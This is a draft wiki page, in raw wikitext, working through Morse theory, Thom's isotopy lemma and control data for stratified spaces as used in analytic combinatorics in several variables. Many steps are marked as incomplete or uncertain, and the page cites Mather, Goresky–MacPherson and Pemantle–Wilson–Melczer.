[Prove it has the same critical points and is proper?]

&lt;math display=&quot;inline&quot;&gt;\Phi(M_{\leq c+\epsilon}, 2\epsilon)&lt;/math&gt; takes points in &lt;math display=&quot;inline&quot;&gt;M_{\leq c+\epsilon}&lt;/math&gt; to &lt;math display=&quot;inline&quot;&gt;M_{\leq c-\epsilon}&lt;/math&gt; except for those that come within &lt;math display=&quot;inline&quot;&gt;s&lt;/math&gt; of a critical point within time &lt;math display=&quot;inline&quot;&gt;2\epsilon&lt;/math&gt;.

Therefore, we see how we &lt;math display=&quot;inline&quot;&gt;\Phi_s&lt;/math&gt; can homotopically deform a chain in &lt;math display=&quot;inline&quot;&gt;M_{\leq c+\epsilon}&lt;/math&gt; to a chain in the union of &lt;math display=&quot;inline&quot;&gt;M_{\leq c-\epsilon}&lt;/math&gt; and small neighbourhoods of critical points.&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 234-235.&lt;/ref&gt;

On the assumption of this theorem, we can start with any chain in &lt;math display=&quot;inline&quot;&gt;M&lt;/math&gt; and deform this chain to &lt;math display=&quot;inline&quot;&gt;M_{c_1+}&lt;/math&gt; using part 1. Then we deform this chain to a chain in the union of &lt;math display=&quot;inline&quot;&gt;M_{c_1-}&lt;/math&gt; and small balls around the critical points. The (sub?)chain in &lt;math display=&quot;inline&quot;&gt;M_{c_1-}&lt;/math&gt; is then deformed to a chain in &lt;math display=&quot;inline&quot;&gt;M_{c_2+}&lt;/math&gt;, which is deformed to a chain in &lt;math display=&quot;inline&quot;&gt;M_{c_2-} \cup z_{c_2}&lt;/math&gt;, and so on. Eventually, we get to &lt;math display=&quot;inline&quot;&gt;M_{c_j-}&lt;/math&gt; which is homotopic to any space &quot;below&quot; it. Therefore, we have deformed our chain in &lt;math display=&quot;inline&quot;&gt;M&lt;/math&gt; to a homotopic chain in the union of small balls around critical points.&lt;ref&gt;Baryshnikov, Melczer and Pemantle 2022, pp. ???.&lt;/ref&gt;&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 217???&lt;/ref&gt;

[Direct sum of homology generators for relative cycles]

== Notes ==
{{Reflist}}

== References ==
* {{citation | last1=Baryshnikov | first1=Yuliy | last2=Melczer | first2=Stephen | last3=Pemantle | first3=Robin | title=Stationary Points at Infinity for Analytic Combinatorics | year=2022 | journal=Foundations of Computational Mathematics | volume=22 | number=5 | pages=1631-1664 | url=https://www2.math.upenn.edu/~pemantle/papers/SPAI-published-version.pdf }}.
* {{cite book | last1=Goresky | first1=Mark | last2=MacPherson | first2=Robert | title=Stratified Morse Theory | publisher=Springer-Verlag | year=1988 | url=https://www.math.ias.edu/~goresky/pdf/SMT.djvu }}
* {{cite book | last=Henle | first1=Michael | title=A Combinatorial Introduction to Topology | publisher=Dover Publications Inc. New York | year=1979 }}
* {{citation | last=Mather | first=John | title=Notes on Topological Stability | year=2012 | journal=Bulletin of the American Mathematical Society | volume=49 | number=4 | pages=475-506 | url=https://www.ams.org/journals/bull/2012-49-04/S0273-0979-2012-01383-6/S0273-0979-2012-01383-6.pdf }}.
* {{cite book | last1=Pemantle | first1=Robin | last2=Wilson | first2=Mark C. | last3=Melczer | first3=Stephen | title=Analytic Combinatorics in Several Variables | publisher=Cambridge University Press | year=2024 | edition=2nd | url=https://acsvproject.com/PemantleWilsonMelczer23.pdf }}</text>
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        <username>Dom walden</username>
        <id>3209423</id>
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      <text bytes="44165" sha1="id63bileqb89hl6gsmuh9kymfw6jrzx" xml:space="preserve">== Introduction ==

Morse theory tells us that the topology of M only changes at its critical points.

The &quot;Morse data&quot; tells us the topology at each critical point.

Attaching this Morse data together gives us a space which is homopotically eqivalent to M.

This space is a &quot;cell complex&quot;, which has an easy to calculate homology.

Theorem: Our domain of convergence is homotopic to a cell complex of dimension at most &lt;math display=&quot;inline&quot;&gt;2n - d - 1&lt;/math&gt;.&lt;ref&gt;This is theorem D.23 in Pemantle, Wilson and Melczer 2024, pp. 546. Also theorem in section 1.2*/5.2* in SMT pp. 200.&lt;/ref&gt;

Proof:
# &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; is our entire domain, &lt;math display=&quot;inline&quot;&gt;\mathcal{V}&lt;/math&gt; our variety
# Project our entire domain to complex projective space &lt;math display=&quot;inline&quot;&gt;Z = \pi(X) \subset \C\mathbb{P}^n - H&lt;/math&gt; [define H]
# Define a linear subspace &lt;math display=&quot;inline&quot;&gt;G \subset \C\mathbb{P}^n&lt;/math&gt; of dimension &lt;math display=&quot;inline&quot;&gt;d - 1&lt;/math&gt;
# Define a Morse function on &lt;math display=&quot;inline&quot;&gt;f: \C\mathbb{P}^n \to \R&lt;/math&gt; which approximates the distance from &lt;math display=&quot;inline&quot;&gt;G&lt;/math&gt; and such that &lt;math display=&quot;inline&quot;&gt;f^{-1}(0) = G&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;f^{-1}(1) = H&lt;/math&gt;
# We &quot;build&quot; &lt;math display=&quot;inline&quot;&gt;X - \mathcal{V}&lt;/math&gt; from &lt;math display=&quot;inline&quot;&gt;\pi^{-1}(G \cap Z) \cap (X - \mathcal{V})&lt;/math&gt; by attaching CW complexes at critical points which are of at most dimension &lt;math display=&quot;inline&quot;&gt;2n - d - 1&lt;/math&gt;
# At a critical point, the normal Morse data is &lt;math display=&quot;inline&quot;&gt;(J, K) = \coprod_x (J_x, K_x)&lt;/math&gt; and the relative complex link is &lt;math display=&quot;inline&quot;&gt;\mathcal{L}^\pi = \coprod_x \mathcal{L}_x&lt;/math&gt;
# We show that the quotient &lt;math display=&quot;inline&quot;&gt;J_x/K_x&lt;/math&gt; is homotopic to a CW complex of dimension &lt;math display=&quot;inline&quot;&gt;\leq 2n - d - 1&lt;/math&gt;
# The neighbourhood of &lt;math display=&quot;inline&quot;&gt;x&lt;/math&gt; in &lt;math display=&quot;inline&quot;&gt;J_x&lt;/math&gt; is homeomorphic to the cone in &lt;math display=&quot;inline&quot;&gt;L_x(X - \mathcal{V})&lt;/math&gt;, and removing the point &lt;math display=&quot;inline&quot;&gt;x&lt;/math&gt; increases the homotopy dimension to at most the homotopy dimension of &lt;math display=&quot;inline&quot;&gt;L_x&lt;/math&gt;
# &lt;math display=&quot;inline&quot;&gt;(J_x \cup \{x\}, K_x)&lt;/math&gt; is homotopic to &lt;math display=&quot;inline&quot;&gt;(\text{cone}(\mathcal{L}_x), \mathcal{L}_x)&lt;/math&gt;
# &lt;math display=&quot;inline&quot;&gt;\mathcal{L}_x&lt;/math&gt; is homotopic to a CW complex of dimension at most &lt;math display=&quot;inline&quot;&gt;2n - d - 1&lt;/math&gt;
# The tangential Morse data at the critical point is homotopic to the pair &lt;math display=&quot;inline&quot;&gt;(D^\lambda, \partial D^\lambda)&lt;/math&gt;
# Therefore, at each critical point a space has been added homotopic to a CW complex of dimension at most &lt;math display=&quot;inline&quot;&gt;2n - d - 1&lt;/math&gt;.

Theorem: If &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; is the complement in &lt;math display=&quot;inline&quot;&gt;\C^n&lt;/math&gt; of a complex variety &lt;math display=&quot;inline&quot;&gt;\mathcal{V}&lt;/math&gt; of dimension &lt;math display=&quot;inline&quot;&gt;d&lt;/math&gt; then &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; is homotopic to a CW complex of dimension at most &lt;math display=&quot;inline&quot;&gt;2n - d - 1&lt;/math&gt;.&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 546.&lt;/ref&gt;

Proof:
# We build &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; by attaching cells of dimension at most &lt;math display=&quot;inline&quot;&gt;2n - d - 1&lt;/math&gt; at each critical point.
## Prove that we can do this without changing the homotopy(?)
## We use Thom's Isotopy Lemma to prove that there is a strong deformation retraction, stopping only at critical points.
# Prove these cells are a product of the normal and tangential Morse data.
## Normal data: &lt;math display=&quot;inline&quot;&gt;(\mathcal{L}(S), \partial \mathcal{L}(S)) \times (D^1, \partial D^1)&lt;/math&gt; [GM pp. 18]
## Tangential data: &lt;math display=&quot;inline&quot;&gt;(B_\delta \cap f^{-1}[v - \epsilon, v + \epsilon], B_\delta \cap f^{-1}(v - \epsilon))&lt;/math&gt; for &lt;math display=&quot;inline&quot;&gt;f&lt;/math&gt; restricted to &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; (or &lt;math display=&quot;inline&quot;&gt;\mathcal{V}&lt;/math&gt;?) [GM pp. 63-64]
# If &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt; is the dimension of the strata, then
## If &lt;math display=&quot;inline&quot;&gt;k = d&lt;/math&gt; then it is a smooth point and the cell is the product of &lt;math display=&quot;inline&quot;&gt;S^{2(n-d)-1}&lt;/math&gt; and the tangential data is dimension at most &lt;math display=&quot;inline&quot;&gt;d&lt;/math&gt;.
## If &lt;math display=&quot;inline&quot;&gt;k &lt; d&lt;/math&gt;, ...

&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 547.&lt;/ref&gt;

== Example in one dimension ==

Domain with singularities v_1, v_2, ..., v_i

Define our height function f...

Start with our entire domain X

Reduce from X to X_i+ by using Thom's Isotopy lemma to do a strong deformation retract

== Thom's isotopy lemma ==

We present a modified version of Thom's isotopy lemma, less general than the original but more obviously relevant to our situation.

Theorem: Suppose &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; is a closed subset of a smooth manifold &lt;math display=&quot;inline&quot;&gt;M&lt;/math&gt; which admits a Whitney stratification and &lt;math display=&quot;inline&quot;&gt;h : M \to \R&lt;/math&gt; is a proper Morse function which has no critical values on &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;. Then, the level sets of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; are homeomorphic by a homeomorphism that preserves the strata of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;.&lt;ref&gt;For various versions of the full statement of the theorem, see Mather 2012, pp. 499, Goresky and MacPherson 1988, pp. 41, or Pemantle, Wilson and Melczer 2024, pp. 541.&lt;/ref&gt;

Proof:
# Construct control data for &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; compatible with &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt;.
## [Prop 7.1] If &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; is smooth on &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; and is a submersion for each strata then there exists a family of control data for &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; compatible with &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 488.&lt;/ref&gt;
# This makes &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; an abstract stratified set and &lt;math display=&quot;inline&quot;&gt;f&lt;/math&gt; a controlled submersion.
# A controlled submersion has, for any smooth vector field on &lt;math display=&quot;inline&quot;&gt;\R&lt;/math&gt;, a controlled vector field on &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; (a &quot;lift&quot;?)&lt;ref&gt;Mather 2012, pp. 493.&lt;/ref&gt;
# A controlled vector field has a unique one-parameter family of homeomorphisms of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; which commute with &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 496.&lt;/ref&gt;
# This makes &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; a locally trivial fibration. [Prop 10.2]&lt;ref&gt;Mather 2012, pp. 499.&lt;/ref&gt;

Control data:

A system of '''control data''' for &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; consists of, for each stratum &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;,
* a '''tubular neighbourhood''' &lt;math display=&quot;inline&quot;&gt;T_X&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt;
* a '''tubular projection function''' &lt;math display=&quot;inline&quot;&gt;\pi_X: T_X \to X&lt;/math&gt;, and
* a '''tubular distance function''' &lt;math display=&quot;inline&quot;&gt;\rho_X: T_X \to \R&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;\rho_X^{-1}(0) = X&lt;/math&gt;&lt;ref&gt;Goresky and MacPherson 1988, pp. 42.&lt;/ref&gt;

[illustration]

such that if &lt;math display=&quot;inline&quot;&gt;X &lt; Y&lt;/math&gt; are strata in &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;, then

&lt;math display=&quot;block&quot;&gt;\pi_X \pi_Y(m) = \pi_X(m),&lt;/math&gt;
&lt;math display=&quot;block&quot;&gt;\rho_X \pi_Y(m) = \rho_X(m)&lt;/math&gt;

for all &lt;math display=&quot;inline&quot;&gt;m \in |T_X| \cap |T_Y|&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;\pi_Y(m) \in |T_X|&lt;/math&gt;.

If, for all strata &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; and all &lt;math display=&quot;inline&quot;&gt;m \in |T_X|&lt;/math&gt;, we have &lt;math display=&quot;inline&quot;&gt;h \pi_X(m) = h(m)&lt;/math&gt;, then this control data will be said to be compatible with &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 488.&lt;/ref&gt;

We prove that if &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; is smooth on &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; and is a submersion for each strata then there exists a family of control data for &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; compatible with &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 488, prop 7.1.&lt;/ref&gt;

Let &lt;math display=&quot;inline&quot;&gt;Z_k&lt;/math&gt; be the union of strata of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; of dimension less than &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt;. We prove by induction on &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt;.

To construct the tubular neighbourhood &lt;math display=&quot;inline&quot;&gt;T_X&lt;/math&gt; of a stratum &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; of dimension less than &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt;. For &lt;math display=&quot;inline&quot;&gt;l \leq k&lt;/math&gt;, let &lt;math display=&quot;inline&quot;&gt;U_l&lt;/math&gt; denote the union of all &lt;math display=&quot;inline&quot;&gt;|T_Y|&lt;/math&gt; for &lt;math display=&quot;inline&quot;&gt;Y &lt; X&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\dim Y \geq l&lt;/math&gt;. Let &lt;math display=&quot;inline&quot;&gt;X_l = U_l \cap X&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 489.&lt;/ref&gt;

For &lt;math display=&quot;inline&quot;&gt;l = k&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;X_k = \empty&lt;/math&gt;. Assume by induction that &lt;math display=&quot;inline&quot;&gt;T_{l+1}&lt;/math&gt; has been constructed and that if &lt;math display=&quot;inline&quot;&gt;Y &lt; X&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;\dim Y \geq l + 1&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;m \in |T_{l+1}| \cap |T_Y|&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\pi_{l+1}(m) \in |T_Y|&lt;/math&gt; (&lt;math display=&quot;inline&quot;&gt;\pi_{l+1} = \pi_{T_{l+1}}&lt;/math&gt;) then&lt;ref&gt;Mather 2012, pp. 489-490.&lt;/ref&gt;

&lt;math display=&quot;block&quot;&gt;\rho_Y \pi_{l+1}(m) = \rho_Y(m),&lt;/math&gt;
&lt;math display=&quot;block&quot;&gt;\pi_Y \pi_{l+1}(m) = \pi_Y(m).&lt;/math&gt;

We wish to construct a tubular neighbourhood &lt;math display=&quot;inline&quot;&gt;T_{X,Y}&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;|T_Y| \cap X&lt;/math&gt; whose restriction to &lt;math display=&quot;inline&quot;&gt;|T_Y| \cap X_{l+1}&lt;/math&gt; is isomorphic to the restriction of &lt;math display=&quot;inline&quot;&gt;T_{l+1}&lt;/math&gt; such that if &lt;math display=&quot;inline&quot;&gt;m \in |T_{X,Y}| \cap |T_Y|&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\pi_{X,Y}(m) \in |T_Y|&lt;/math&gt; (&lt;math display=&quot;inline&quot;&gt;\pi_{X,Y} = \pi_{T_{X,Y}}&lt;/math&gt;) then

&lt;math display=&quot;block&quot;&gt;\rho_Y \pi_{X,Y}(m) = \rho_Y(m),&lt;/math&gt;
&lt;math display=&quot;block&quot;&gt;\pi_Y \pi_{X,Y}(m) = \pi_Y(m).&lt;/math&gt;

By shrinking &lt;math display=&quot;inline&quot;&gt;|T_Y|&lt;/math&gt; if necessary, this relation is already satisfied if &lt;math display=&quot;inline&quot;&gt;m \in |T_{l+1}| \cap |T_Y|&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\pi_{l+1}(m) \in |T_Y|&lt;/math&gt; with &lt;math display=&quot;inline&quot;&gt;T_{l+1}&lt;/math&gt; in place of &lt;math display=&quot;inline&quot;&gt;T_{X,Y}&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\pi_{l+1}&lt;/math&gt; in place of &lt;math display=&quot;inline&quot;&gt;\pi_{X,Y}&lt;/math&gt;. By the definition, if &lt;math display=&quot;inline&quot;&gt;m \in |T_{l+1}|&lt;/math&gt; then there exists &lt;math display=&quot;inline&quot;&gt;Z &lt; X&lt;/math&gt; with &lt;math display=&quot;inline&quot;&gt;\dim Z &gt; l&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;m \in |T_Z|&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\pi_{l+1}(m) \in |T_Z|&lt;/math&gt;. We have that &lt;math display=&quot;inline&quot;&gt;\pi_{l+1}(m) \in |T_Y| \cap |T_Z|&lt;/math&gt; and therefore &lt;math display=&quot;inline&quot;&gt;Y &lt; Z&lt;/math&gt;. Therefore&lt;ref&gt;Mather 2012, pp. 490.&lt;/ref&gt;

&lt;math display=&quot;block&quot;&gt;\rho_Y \pi_{l+1}(m) = \rho_Y \pi_Z \pi_{l+1}(m) = \rho_Y \pi_Z(m) = \rho_Y(m),&lt;/math&gt;
&lt;math display=&quot;block&quot;&gt;\pi_Y \pi_{l+1}(m) = \pi_Y \pi_Z \pi_{l+1}(m) = \pi_Y \pi_Z(m) = \pi_Y(m).&lt;/math&gt;

We can prove that, by shrinking &lt;math display=&quot;inline&quot;&gt;|T_Y|&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;(\rho_Y, \pi_Y): |T_Y| \cap X \to \R \times Y&lt;/math&gt; is a submersion [prop 7.3?] and that &lt;math display=&quot;inline&quot;&gt;T_{X,Y}&lt;/math&gt; is compatible with &lt;math display=&quot;inline&quot;&gt;(\rho_Y, \pi_Y): |T_Y| \cap X_{l+1} \to \R \times Y&lt;/math&gt;, i.e. &lt;math display=&quot;inline&quot;&gt;(\rho_Y, \pi_Y) \pi_{X,Y}(m) = (\rho_Y, \pi_Y)(m)&lt;/math&gt;(?).

To prove it is a submersion, for the tubular neighbourhood &lt;math display=&quot;inline&quot;&gt;T = (E, \epsilon, \psi)&lt;/math&gt; there exists a smooth positive function &lt;math display=&quot;inline&quot;&gt;\epsilon'&lt;/math&gt; such that

&lt;math display=&quot;block&quot;&gt;(\rho_T, \pi_T): Y \cap |T|_{\epsilon'}^0 \to \R \times X,&lt;/math&gt;

where &lt;math display=&quot;inline&quot;&gt;|T|_{\epsilon'}^0 = \psi(B_\epsilon \cap B_{\epsilon'})&lt;/math&gt;, is a submersion. If &lt;math display=&quot;inline&quot;&gt;\Sigma&lt;/math&gt; is the set &lt;math display=&quot;inline&quot;&gt;y \in |T|&lt;/math&gt; such that the rank of

&lt;math display=&quot;block&quot;&gt;(\rho_T, \pi_T): T \cap |T| \to \R \times X&lt;/math&gt;

at &lt;math display=&quot;inline&quot;&gt;y&lt;/math&gt; is less than &lt;math display=&quot;inline&quot;&gt;\dim(\R \times X)&lt;/math&gt;. We need to prove that for any &lt;math display=&quot;inline&quot;&gt;x \in X&lt;/math&gt; there exists a neighbourhood of &lt;math display=&quot;inline&quot;&gt;x&lt;/math&gt; which does not intersect with &lt;math display=&quot;inline&quot;&gt;\Sigma&lt;/math&gt;, i.e. the map is not a submersion in this neighbourhood. It follows from [lemma 7.2] that it is enough to prove for &lt;math display=&quot;inline&quot;&gt;M = \R^m&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;X = \R^{m-c} \times 0_c&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;T&lt;/math&gt; is the '''standard tubular neighbourhood'''.&lt;ref&gt;Mather 2012, pp. 489.&lt;/ref&gt;

By standard tubular neighbourhood, we mean the trivial bundle with base &lt;math display=&quot;inline&quot;&gt;\R^{m-c}&lt;/math&gt; and fibre &lt;math display=&quot;inline&quot;&gt;\R^c&lt;/math&gt; where &lt;math display=&quot;inline&quot;&gt;\pi: \R^m \to \R^{m-c}&lt;/math&gt;...&lt;ref&gt;Mather 2012, pp. 488.&lt;/ref&gt;

For &lt;math display=&quot;inline&quot;&gt;y \in |T| - \R^{m-c}&lt;/math&gt;, the kernal of the differential of &lt;math display=&quot;inline&quot;&gt;(\pi_T, \rho_T)&lt;/math&gt; at &lt;math display=&quot;inline&quot;&gt;y&lt;/math&gt; is the orthogonal complement of &lt;math display=&quot;inline&quot;&gt;(\R^{m-c} \times 0_c) \oplus \stackrel{\frown}{y \pi_T(y)}&lt;/math&gt; in &lt;math display=&quot;inline&quot;&gt;\R^m&lt;/math&gt;. By the Whitney conditions, we have that for &lt;math display=&quot;inline&quot;&gt;y&lt;/math&gt; near &lt;math display=&quot;inline&quot;&gt;\R^{m-c}&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;(\R^{m-c} \times 0_c) \oplus \stackrel{\frown}{y \pi_T(y)}&lt;/math&gt; is close to the set of &lt;math display=&quot;inline&quot;&gt;m - c + 1&lt;/math&gt; planes in &lt;math display=&quot;inline&quot;&gt;m-&lt;/math&gt;space to an &lt;math display=&quot;inline&quot;&gt;m - c + 1&lt;/math&gt; plane in &lt;math display=&quot;inline&quot;&gt;TY_y&lt;/math&gt;. Therefore, for &lt;math display=&quot;inline&quot;&gt;y&lt;/math&gt; near enough to &lt;math display=&quot;inline&quot;&gt;\R^{m-c}&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;TY_y&lt;/math&gt; is transverse to the kernal of the differential of &lt;math display=&quot;inline&quot;&gt;(\pi_T, \rho_T)&lt;/math&gt; and, therefore, is a submersion when restricted to &lt;math display=&quot;inline&quot;&gt;Y&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 489.&lt;/ref&gt;

To prove that &lt;math display=&quot;inline&quot;&gt;T_{X,Y}&lt;/math&gt; is compatible with &lt;math display=&quot;inline&quot;&gt;(\rho_Y, \pi_Y): |T_Y| \cap X_{l+1} \to \R \times Y&lt;/math&gt;...&lt;ref&gt;Mather 2012, pp. 490.&lt;/ref&gt;

Therefore, there exists a tubular neighbourhood &lt;math display=&quot;inline&quot;&gt;T_0&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;X_0&lt;/math&gt; satisfying

&lt;math display=&quot;block&quot;&gt;\rho_Y \pi_0(m) = \rho_Y(m),&lt;/math&gt;
&lt;math display=&quot;block&quot;&gt;\pi_Y \pi_0(m) = \pi_Y(m).&lt;/math&gt;

From this we can prove that &lt;math display=&quot;inline&quot;&gt;T_0&lt;/math&gt; is compatible with &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt;. Replacing &lt;math display=&quot;inline&quot;&gt;T_0&lt;/math&gt; with a smaller tubular neighbourhood if necessary we can assume &lt;math display=&quot;inline&quot;&gt;m \in |T_0|&lt;/math&gt; such that for some &lt;math display=&quot;inline&quot;&gt;Y &lt; X&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;m \in |T_Y|&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\pi_0(m) \in |T_Y|&lt;/math&gt;, then&lt;ref&gt;Mather 2012, pp. 490.&lt;/ref&gt;

&lt;math display=&quot;block&quot;&gt;h \pi_0(m) = h \pi_Y \pi_0(m) = h \pi_Y(m) = h(m).&lt;/math&gt;

By the generalised tubular neighourhood theorem [prop 7.2?], we can replace &lt;math display=&quot;inline&quot;&gt;T_0&lt;/math&gt; with a tubular neighbourhood &lt;math display=&quot;inline&quot;&gt;T&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; compatible with &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt;. This completes the construction of &lt;math display=&quot;inline&quot;&gt;T_X&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 491.&lt;/ref&gt;

This makes &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; an '''abstract stratified set''' with axioms...&lt;ref&gt;Mather 2012, pp. 491-492.&lt;/ref&gt;

This also makes &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; a '''controlled submersion''' because
# &lt;math display=&quot;inline&quot;&gt;h|X: X \to \R&lt;/math&gt; is a smooth submersion on each strata &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;, and
# for each stratum &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; there is a tubular neighbourhood &lt;math display=&quot;inline&quot;&gt;T'_X&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;h(v) = h \pi_X(v)&lt;/math&gt; for all &lt;math display=&quot;inline&quot;&gt;v \in T'_X&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 493.&lt;/ref&gt;

The core of this is the concept of a '''vector field'''. A vector field is a function which assigns, for each point &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt; in a space, a '''vector''', which can be represented by an arrow whose tail starts at &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;.&lt;ref&gt;Henle 1979, pp. 33.&lt;/ref&gt;

[picture]

Imagine we have a vector field &lt;math display=&quot;inline&quot;&gt;v(x)&lt;/math&gt; defined in a space and draw a line through our space. At each point along this line the vector field assigns a vector. If we move each point in this line along the arrow defined by this vector in the direction of the arrow head. This &quot;flows&quot; the entire line along the vectors.

[picture]

We define a '''stratified vector field''' &lt;math display=&quot;inline&quot;&gt;\eta&lt;/math&gt; on &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; to be a family of smooth vector fields &lt;math display=&quot;inline&quot;&gt;\eta_X&lt;/math&gt;, one for each strata &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 493.&lt;/ref&gt;

We define a '''controlled vector field''' &lt;math display=&quot;inline&quot;&gt;\eta&lt;/math&gt; on &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; to be a stratified vector field such that for any strata &lt;math display=&quot;inline&quot;&gt;Y&lt;/math&gt; there exists a tubular neighbourhood &lt;math display=&quot;inline&quot;&gt;T'_Y&lt;/math&gt; such that for any &lt;math display=&quot;inline&quot;&gt;X &gt; Y&lt;/math&gt; and any &lt;math display=&quot;inline&quot;&gt;v \in T'_X \cap X&lt;/math&gt;&lt;ref&gt;Mather 2012, pp. 493.&lt;/ref&gt;

&lt;math display=&quot;block&quot;&gt;\eta_X \rho_{Y,X}(v) = 0,&lt;/math&gt;
&lt;math display=&quot;block&quot;&gt;(\pi_{Y,X})_* \eta_X(v) = \eta_Y (\pi_{Y,X}(v)).&lt;/math&gt;

We prove that if &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; is a controlled submersion then, for any smooth vector field &lt;math display=&quot;inline&quot;&gt;\zeta&lt;/math&gt; on &lt;math display=&quot;inline&quot;&gt;\R&lt;/math&gt; there is a controlled vector field &lt;math display=&quot;inline&quot;&gt;\eta&lt;/math&gt; on &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;h_* \eta(v) = \zeta(h(v))&lt;/math&gt; for all &lt;math display=&quot;inline&quot;&gt;v \in Z&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 493.&lt;/ref&gt;

Proceeding by induction on the maximum dimension of the strata of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;, we define &lt;math display=&quot;inline&quot;&gt;Z_k&lt;/math&gt; to be the union of strata of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; of dimension at most &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt;. The tubular neighbourhood of &lt;math display=&quot;inline&quot;&gt;Z_k&lt;/math&gt; is the intersection of the tubular neighbourhoods of each strata in &lt;math display=&quot;inline&quot;&gt;Z_k&lt;/math&gt; with &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;. The projection and distance functions are the restrictions of the respective functions of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;.

It is trivially true when the maximum dimension of strata in &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; is zero. Assume it is true for &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt; and construct each &lt;math display=&quot;inline&quot;&gt;\eta_X&lt;/math&gt; separately for each stratum &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; of dimension &lt;math display=&quot;inline&quot;&gt;k + 1&lt;/math&gt;.

